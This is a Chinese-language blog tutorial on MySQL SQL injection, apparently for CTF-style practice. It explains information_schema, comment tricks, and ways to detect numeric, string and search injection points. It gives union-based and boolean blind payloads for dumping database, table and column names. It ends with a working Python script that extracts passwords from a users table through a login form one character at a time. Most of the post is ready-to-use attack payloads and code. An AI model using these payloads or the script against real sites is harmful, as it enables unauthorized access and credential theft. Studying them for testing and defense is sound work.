SQL注入流程

  1. 找到注入点:判断是否有漏洞,寻找插入位置
  2. 构造注入语句,并在注入点注入形成新的SQL语句
  3. 新形成的SQL语句提交数据库处理
  4. 数据库执行新的SQL语句,引发注入攻击

前置知识

1.特别的数据库

在MySQL 5.0版本之后,MySQL默认在数据库中存放一个information_schema的数据库,在该库中,需要记住三个表名,分别是:schematatablescolumns

  1. schemata表存储该用户创建的所有数据库的库名。

    >>>>其中记录数据库库名的字段名为schema_name

  2. tables表存储该用户创建的所有数据库的库名和表名。

    >>>>其中记录数据库库名表名的字段名分别是tables_schematable_name

  3. columns表存储该用户创建的所有数据库的库名、表名和字段名。

    >>>>其中记录数据库库名、表名和字段名的字段名分别是tables_schematable_namecolumn_name

2.注释符

在MySQL中,常见注释符的表达方式:

# ……#号后面的都会被注释

-- ……--号后面的都会被注释,不过在 -- 的前后都需要加空格再加数据(GET传参时只能使用--,后的空格用+代替)

/* ... */ :在查询语句中使用斜杠星号注释,从 / 开始到 */ 结束的部分都被视为注释,不会被执行。


  • 但**/* ... */** 的特殊用法--条件注释

条件注释是一种特殊的注释语法,它允许在注释中使用关键字,而这些关键字在执行查询时会被解析为相应的操作

语法格式为:

1
/*!<conditional_keyword> <query_part> */

例如:index?id=-10 /*!union*/ /*!select*/ 1,2,3等同于index?id=-10 union select 1,2,3

SQL注入常用基础语句

1
2
3
4
5
6
7
8
9
10
11
12
13
select version(); #查看数据库版本 

select user(); #查看数据库用户

select database(); #查看当前库名;

select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名

select group_concat(table_name) from information_schema.tables where table_schema=database() ;
#只回显一行数据下查看当前库下的全部表名

select column_name from information_schema.columns where table_schema=database() and table_name='xxx';
#查询列名-把xxx缓存前面查询到的表名

SQL注入常用函数

联合查询(union)注入使用

1.concat()函数

concat()函数:将多个不同字段的字符串连接成一个字符串。

1
concat(str1,str2) #语法

注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

2.group_concat()函数

group_concat() 将多个同个字段的字符串连接成一个字符串。

1
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator ‘分隔符’]) #语法

报错注入使用

1.extractvalue()函数

从 MySQL 5.7.8 版本开始,ExtractValue() 函数已被弃用

ExtractValue() 函数来提取 XML 字符串中的特定路径的值。

1
ExtractValue(xml_string, xpath_expression)
  • xml_frag:xml文档对象的名称,是一个string类型。
  • xpath_expr:使用xpath语法格式的路径。

2.updataxml()函数

  • xml_target:xml文档对象的名称,是一个string类型。
  • xpath_expr:使用xpath语法格式的路径。
  • new_xml:需要更新的内容。

3.count()+rand()+floor()+group by()函数

rand()函数:rand()返回0到1的随机数。rand(0)返回一个固定的0到1的伪随机数。

floor()函数:floor(x)返回小于或等于 x 的最大整数。

group by语句:group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。

布尔盲注使用

1.substr()/substring()函数

substr()/substring()函数:用来截取数据库某个字段中的一部分。

1
substr(string,start开始位置,length截取长度)  #语法

参数

  • string:必选,数据库中需要截取的字段
  • start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始 截取;0,在字符串中第一个位置开始截取。
  • length:可选,需要截取的长度。缺省。即截取到结束位置

2.ascii()函数

ascii()函数:返回字符串str的最左边的数值。

1
ascii(str)  #语法

2.length() 函数,返回字符串的长度

1
length(str) #语法

注入点分类

①数字型注入点

类似的后端语句

1
2
3
4
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

在 Web 端大概是 http://xxx.com/index.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。

1 and 1=1进行组合出来的sql注入语句为:

1
select * from news where id=1 and 1=1

②字符型注入点

类似的后端语句

1
2
3
4
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

在 Web 端大概是 http://xxx.com/index.php?id=admin 这种形式,其注入点id 类型为字符类型,所以叫字符型注入点。

使用id=1' and 1=1 --+组合出来的sql注入语句为:

1
select * from news where id='admin' and 1=1 --+' LIMIT 0,1";

注意多了一个引号。由于注入拼接语句后多了一个',需要用注释符进行消除对语句的影响

③搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:

1
2
3
4
5
6
7
select * from 表名 where 字段 like '%关键字%'`。

组合出来的sql注入语句为:
select * from news where search like '%测试 %' and '%1%'='%1%'

测试%' union select 1,2,3,4 and '%'='

判断注入点

注意区别语句报错与页面报错、页面数据不正确的区别

​ 1.?id=1 and 1=1?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

​ 2.?id=1' and 1=1 --+ / #?id=1' and 1=2 --+ / #或使用?id' and '1'='1?id' and '1'='2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

​ 3.?id=1%' and 1=1 --+ / #?id=1%' and 1=2 --+ / #进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

注入方法

联合查询注入

联合查询语句:

1
select a from b union select c from d where e;

使用条件:页面对查询语句有回显查询数据

注意事项

  • 使用联合查询注入时,位于union前的语句不要出现查询的结果(后端只选择查询结果第一行的情况,若前一部分可以被查询,则联合查询的部分不会回显)

  • 若前部分有结果,可在每次的union查询后添加语句limit n,1(n根据题目实际进行切换)起到回显联合查询结果的作用

    注:limit num1,num2的作用为从第num1行开始显示num2行内容

所需函数

1.concat()函数

concat()函数:将多个不同字段的字符串连接成一个字符串。

1
concat(str1,str2) #语法

注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

2.group_concat()函数

group_concat() 将多个同个字段的字符串连接成一个字符串。

1
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator ‘分隔符’]) #语法

注入流程

  1. 判断类型

  2. 字段数

    联合查询(union),必选保证union前后两个查询的字段数一致,即两个查询结果有相同的列数,因此要对前一个的字段数进行判断。可以使用order by 数字进行判断

    order by n表示查询结果通过第n个字段进行排序

    使用示例:

    1
    id=1' order by 1 --+

    使用时不断增大数字,假设直至第n个出现错误,从而判断出字段数为n-1

  3. 回显点

    知道字段数之后,我们还需要确定在哪个字段是回显到页面上的

    直接根据字段数,联合查询数字1,2,3...,以三个字段数为例

    1
    id=1' order by union select 1,2,3 --+

    从页面上查找回显的是哪个数字

  4. 爆库名、表名,字段名,数据

​ 使用union语句在回显位置导出数据库中的数据,结合上文中的SQL注入常用基础语句

以2位置为回显点,爆表名为例

1
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

布尔盲注

构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

使用条件:适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false类似的结果(例如:登录成功、)

注意事项

  • 前面参数在数据库无结果时,拼接语句使用关键词or

  • 前面参数在数据库有结果时,拼接语句使用关键词and

    另建议使用脚本

注入使用函数

1.substr()/substring()函数

substr()/substring()函数:用来截取数据库某个字段中的一部分。

1
substr(string,start开始位置,length截取长度)  #语法

参数

  • string:必选,数据库中需要截取的字段
  • start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始 截取;0,在字符串中第一个位置开始截取。
  • length:可选,需要截取的长度。缺省。即截取到结束位置

2.ascii()函数

ascii()函数:返回字符串str的最左边的数值。

1
ascii(str)  #语法

3.length() 函数

length() 函数,返回字符串的长度

1
length(str) #语法

4.left() 函数

left() 函数,返回从左至右截取固定长度的字符串

1
left(str,n) #语法 截取字符串str的从左至右前n个字符

注入流程

  1. 求当前数据库长度
  2. 求当前数据库表的ASCII (即爆出数据库名)
  3. 求当前数据库中表的个数
  4. 求当前数据库中其中一个表名的长度
  5. 求当前数据库中其中一个表名的ASCII
  6. 求列名的数量
  7. 求列名的长度
  8. 求列名的ASCII
  9. 求字段的数量
  10. 求字段内容的长度
  11. 求字段内容对应的ASCII

手工注入过程详解

基本模板

1
?id=1' and (长度/字符函数(所爆数据的SQL) = n) --+

例如:

1
?id=1' and ASCII(SUBSTR((select table_name FROM information_schema.tables where table_schema = database() LIMIT 0,1),1,1)) = 101 #

以爆数据库名字为例

求长度

1
?id=1' and (length(database()) = n) --+

通过页面的回显进行判断,数据库的长度是多少

求数据库名称

使用left 函数

1
2
3
4
5
6
-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='*')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='**')
-- 从左只有截取n个字符
SELECT * from users WHERE id = 1 and (left(database(),n)='*****')

不断修改*中的字符,使之页面显示为true的类似项(如登录成功、成功等)

使用SUBSTR函数

1
2
3
4
5
6
-- 截取第1个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = ***)
-- 截取第2个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = ***)
-- 截取第n个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),n,1)) = ***)

不断修改*中的ASCII码,使之页面显示为true的类似项(如登录成功、成功等)

注入脚本

注意查看表单的提交变量名称

使用POST提交数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

chars = "R0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}"
result = ""


def get_length(value): # 获取要查询的数据的长度
for n in range(1, 100):
payload = "admin' and length(({0})) ={1} #".format(data_payload, n)
data = {"username": payload, "password": "admin"} //注意查看表单的提交变量名称
html = requests.post(url, data=data)
length = len(html.text)
if length < value:
print("……data length is :" + str(n))
return n


def get_data(data_length, value): # 获取数据
global result
for i in range(1, data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload, i, ord(char))
data = {"username": payload, "password": "admin"} //注意查看表单的提交变量名称
html = requests.post(url, data=data)
length = len(html.text)
if length < value: # 根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :" + result)
break


url = "http://***.***.10.67:2081/hard.php"
data_payload = "select password from users limit 0,1" //所爆数据的sql语句
value = 550 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看

length = get_length(value) +1
get_data(length, value)
print(result)

本站由 Wells 使用 Stellar 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。